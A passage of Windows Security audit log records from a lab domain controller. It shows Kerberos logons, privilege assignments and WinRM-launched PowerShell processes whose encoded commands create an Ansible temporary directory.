This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251587
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x13BDBF
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64538

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251586
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13BDBF

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251585
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13BD5D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251584
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x13BD5D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64537

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251583
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13BD5D

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251582
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13893A

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xedc
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x11f4
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UwBlAHQALQBTAHQAcgBpAGMAdABNAG8AZABlACAALQBWAGUAcgBzAGkAbwBuACAATABhAHQAZQBzAHQACgAkAHQAbQBwAF8AcABhAHQAaAAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6AEUAeABwAGEAbgBkAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAcgBpAGEAYgBsAGUAcwAoACcAJQBUAEUATQBQACUAJwApAAoAJAB0AG0AcAAgAD0AIABOAGUAdwAtAEkAdABlAG0AIAAtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0AUABhAHQAaAAgACQAdABtAHAAXwBwAGEAdABoACAALQBOAGEAbQBlACAAJwBhAG4AcwBpAGIAbABlAC0AdABtAHAALQAxADYAMQA0ADYAMAAyADUANwAyAC4AOQAzADkAMQA0ADgALQAyADYAMQA0ADcANgA5ADQAOQA5ADAAMwA1ADAAOQAnAAoAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAtAEkAbgBwAHUAdABPAGIAagBlAGMAdAAgACQAdABtAHAALgBGAHUAbABsAE4AYQBtAGUACgBJAGYAIAAoAC0AbgBvAHQAIAAkAD8AKQAgAHsAIABJAGYAIAAoAEcAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAATABBAFMAVABFAFgASQBUAEMATwBEAEUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAgAHsAIABlAHgAaQB0ACAAJABMAEEAUwBUAEUAWABJAFQAQwBPAEQARQAgAH0AIABFAGwAcwBlACAAewAgAGUAeABpAHQAIAAxACAAfQAgAH0A

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251581
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13ACF4

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251580
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13ACF4
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{AA91A4F5-A5F3-D9AD-11AD-8B8E2AA11BA6}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251579
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{AA91A4F5-A5F3-D9AD-11AD-8B8E2AA11BA6}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251578
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{AA91A4F5-A5F3-D9AD-11AD-8B8E2AA11BA6}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251577
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251576
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13893A

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11f4
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x13f8
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBBAGsAQQBIAFEAQQBiAFEAQgB3AEEARgA4AEEAYwBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBEADAAQQBJAEEAQgBiAEEARgBNAEEAZQBRAEIAegBBAEgAUQBBAFoAUQBCAHQAQQBDADQAQQBSAFEAQgB1AEEASABZAEEAYQBRAEIAeQBBAEcAOABBAGIAZwBCAHQAQQBHAFUAQQBiAGcAQgAwAEEARgAwAEEATwBnAEEANgBBAEUAVQBBAGUAQQBCAHcAQQBHAEUAQQBiAGcAQgBrAEEARQBVAEEAYgBnAEIAMgBBAEcAawBBAGMAZwBCAHYAQQBHADQAQQBiAFEAQgBsAEEARwA0AEEAZABBAEIAVwBBAEcARQBBAGMAZwBCAHAAQQBHAEUAQQBZAGcAQgBzAEEARwBVAEEAYwB3AEEAbwBBAEMAYwBBAEoAUQBCAFUAQQBFAFUAQQBUAFEAQgBRAEEAQwBVAEEASgB3AEEAcABBAEEAbwBBAEoAQQBCADAAQQBHADAAQQBjAEEAQQBnAEEARAAwAEEASQBBAEIATwBBAEcAVQBBAGQAdwBBAHQAQQBFAGsAQQBkAEEAQgBsAEEARwAwAEEASQBBAEEAdABBAEYAUQBBAGUAUQBCAHcAQQBHAFUAQQBJAEEAQgBFAEEARwBrAEEAYwBnAEIAbABBAEcATQBBAGQAQQBCAHYAQQBIAEkAQQBlAFEAQQBnAEEAQwAwAEEAVQBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBDAFEAQQBkAEEAQgB0AEEASABBAEEAWAB3AEIAdwBBAEcARQBBAGQAQQBCAG8AQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAEoAdwBCAGgAQQBHADQAQQBjAHcAQgBwAEEARwBJAEEAYgBBAEIAbABBAEMAMABBAGQAQQBCAHQAQQBIAEEAQQBMAFEAQQB4AEEARABZAEEATQBRAEEAMABBAEQAWQBBAE0AQQBBAHkAQQBEAFUAQQBOAHcAQQB5AEEAQwA0AEEATwBRAEEAegBBAEQAawBBAE0AUQBBADAAQQBEAGcAQQBMAFEAQQB5AEEARABZAEEATQBRAEEAMABBAEQAYwBBAE4AZwBBADUAQQBEAFEAQQBPAFEAQQA1AEEARABBAEEATQB3AEEAMQBBAEQAQQBBAE8AUQBBAG4AQQBBAG8AQQBWAHcAQgB5AEEARwBrAEEAZABBAEIAbABBAEMAMABBAFQAdwBCADEAQQBIAFEAQQBjAEEAQgAxAEEASABRAEEASQBBAEEAdABBAEUAawBBAGIAZwBCAHcAQQBIAFUAQQBkAEEAQgBQAEEARwBJAEEAYQBnAEIAbABBAEcATQBBAGQAQQBBAGcAQQBDAFEAQQBkAEEAQgB0AEEASABBAEEATABnAEIARwBBAEgAVQBBAGIAQQBCAHMAQQBFADQAQQBZAFEAQgB0AEEARwBVAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEQAOABBAEsAUQBBAGcAQQBIAHMAQQBJAEEAQgBKAEEARwBZAEEASQBBAEEAbwBBAEUAYwBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBUAEEAQgBCAEEARgBNAEEAVgBBAEIARgBBAEYAZwBBAFMAUQBCAFUAQQBFAE0AQQBUAHcAQgBFAEEARQBVAEEASQBBAEEAdABBAEUAVQBBAGMAZwBCAHkAQQBHADgAQQBjAGcAQgBCAEEARwBNAEEAZABBAEIAcABBAEcAOABBAGIAZwBBAGcAQQBGAE0AQQBhAFEAQgBzAEEARwBVAEEAYgBnAEIAMABBAEcAdwBBAGUAUQBCAEQAQQBHADgAQQBiAGcAQgAwAEEARwBrAEEAYgBnAEIAMQBBAEcAVQBBAEsAUQBBAGcAQQBIAHMAQQBJAEEAQgBsAEEASABnAEEAYQBRAEIAMABBAEMAQQBBAEoAQQBCAE0AQQBFAEUAQQBVAHcAQgBVAEEARQBVAEEAVwBBAEIASgBBAEYAUQBBAFEAdwBCAFAAQQBFAFEAQQBSAFEAQQBnAEEASAAwAEEASQBBAEIARgBBAEcAdwBBAGMAdwBCAGwAQQBDAEEAQQBlAHcAQQBnAEEARwBVAEEAZQBBAEIAcABBAEgAUQBBAEkAQQBBAHgAQQBDAEEAQQBmAFEAQQBnAEEASAAwAEEA

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251575
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13893A

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13f8
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xed8
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBBAGsAQQBIAFEAQQBiAFEAQgB3AEEARgA4AEEAYwBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBEADAAQQBJAEEAQgBiAEEARgBNAEEAZQBRAEIAegBBAEgAUQBBAFoAUQBCAHQAQQBDADQAQQBSAFEAQgB1AEEASABZAEEAYQBRAEIAeQBBAEcAOABBAGIAZwBCAHQAQQBHAFUAQQBiAGcAQgAwAEEARgAwAEEATwBnAEEANgBBAEUAVQBBAGUAQQBCAHcAQQBHAEUAQQBiAGcAQgBrAEEARQBVAEEAYgBnAEIAMgBBAEcAawBBAGMAZwBCAHYAQQBHADQAQQBiAFEAQgBsAEEARwA0AEEAZABBAEIAVwBBAEcARQBBAGMAZwBCAHAAQQBHAEUAQQBZAGcAQgBzAEEARwBVAEEAYwB3AEEAbwBBAEMAYwBBAEoAUQBCAFUAQQBFAFUAQQBUAFEAQgBRAEEAQwBVAEEASgB3AEEAcABBAEEAbwBBAEoAQQBCADAAQQBHADAAQQBjAEEAQQBnAEEARAAwAEEASQBBAEIATwBBAEcAVQBBAGQAdwBBAHQAQQBFAGsAQQBkAEEAQgBsAEEARwAwAEEASQBBAEEAdABBAEYAUQBBAGUAUQBCAHcAQQBHAFUAQQBJAEEAQgBFAEEARwBrAEEAYwBnAEIAbABBAEcATQBBAGQAQQBCAHYAQQBIAEkAQQBlAFEAQQBnAEEAQwAwAEEAVQBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBDAFEAQQBkAEEAQgB0AEEASABBAEEAWAB3AEIAdwBBAEcARQBBAGQAQQBCAG8AQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAEoAdwBCAGgAQQBHADQAQQBjAHcAQgBwAEEARwBJAEEAYgBBAEIAbABBAEMAMABBAGQAQQBCAHQAQQBIAEEAQQBMAFEAQQB4AEEARABZAEEATQBRAEEAMABBAEQAWQBBAE0AQQBBAHkAQQBEAFUAQQBOAHcAQQB5AEEAQwA0AEEATwBRAEEAegBBAEQAawBBAE0AUQBBADAAQQBEAGcAQQBMAFEAQQB5AEEARABZAEEATQBRAEEAMABBAEQAYwBBAE4AZwBBADUAQQBEAFEAQQBPAFEAQQA1AEEARABBAEEATQB3AEEAMQBBAEQAQQBBAE8AUQBBAG4AQQBBAG8AQQBWAHcAQgB5AEEARwBrAEEAZABBAEIAbABBAEMAMABBAFQAdwBCADEAQQBIAFEAQQBjAEEAQgAxAEEASABRAEEASQBBAEEAdABBAEUAawBBAGIAZwBCAHcAQQBIAFUAQQBkAEEAQgBQAEEARwBJAEEAYQBnAEIAbABBAEcATQBBAGQAQQBBAGcAQQBDAFEAQQBkAEEAQgB0AEEASABBAEEATABnAEIARwBBAEgAVQBBAGIAQQBCAHMAQQBFADQAQQBZAFEAQgB0AEEARwBVAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEQAOABBAEsAUQBBAGcAQQBIAHMAQQBJAEEAQgBKAEEARwBZAEEASQBBAEEAbwBBAEUAYwBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBUAEEAQgBCAEEARgBNAEEAVgBBAEIARgBBAEYAZwBBAFMAUQBCAFUAQQBFAE0AQQBUAHcAQgBFAEEARQBVAEEASQBBAEEAdABBAEUAVQBBAGMAZwBCAHkAQQBHADgAQQBjAGcAQgBCAEEARwBNAEEAZABBAEIAcABBAEcAOABBAGIAZwBBAGcAQQBGAE0AQQBhAFEAQgBzAEEARwBVAEEAYgBnAEIAMABBAEcAdwBBAGUAUQBCAEQAQQBHADgAQQBiAGcAQgAwAEEARwBrAEEAYgBnAEIAMQBBAEcAVQBBAEsAUQBBAGcAQQBIAHMAQQBJAEEAQgBsAEEASABnAEEAYQBRAEIAMABBAEMAQQBBAEoAQQBCAE0AQQBFAEUAQQBVAHcAQgBVAEEARQBVAEEAVwBBAEIASgBBAEYAUQBBAFEAdwBCAFAAQQBFAFEAQQBSAFEAQQBnAEEASAAwAEEASQBBAEIARgBBAEcAdwBBAGMAdwBCAGwAQQBDAEEAQQBlAHcAQQBnAEEARwBVAEEAZQBBAEIAcABBAEgAUQBBAEkAQQBBAHgAQQBDAEEAQQBmAFEAQQBnAEEASAAwAEEA

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251574
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13A6E3

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251573
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
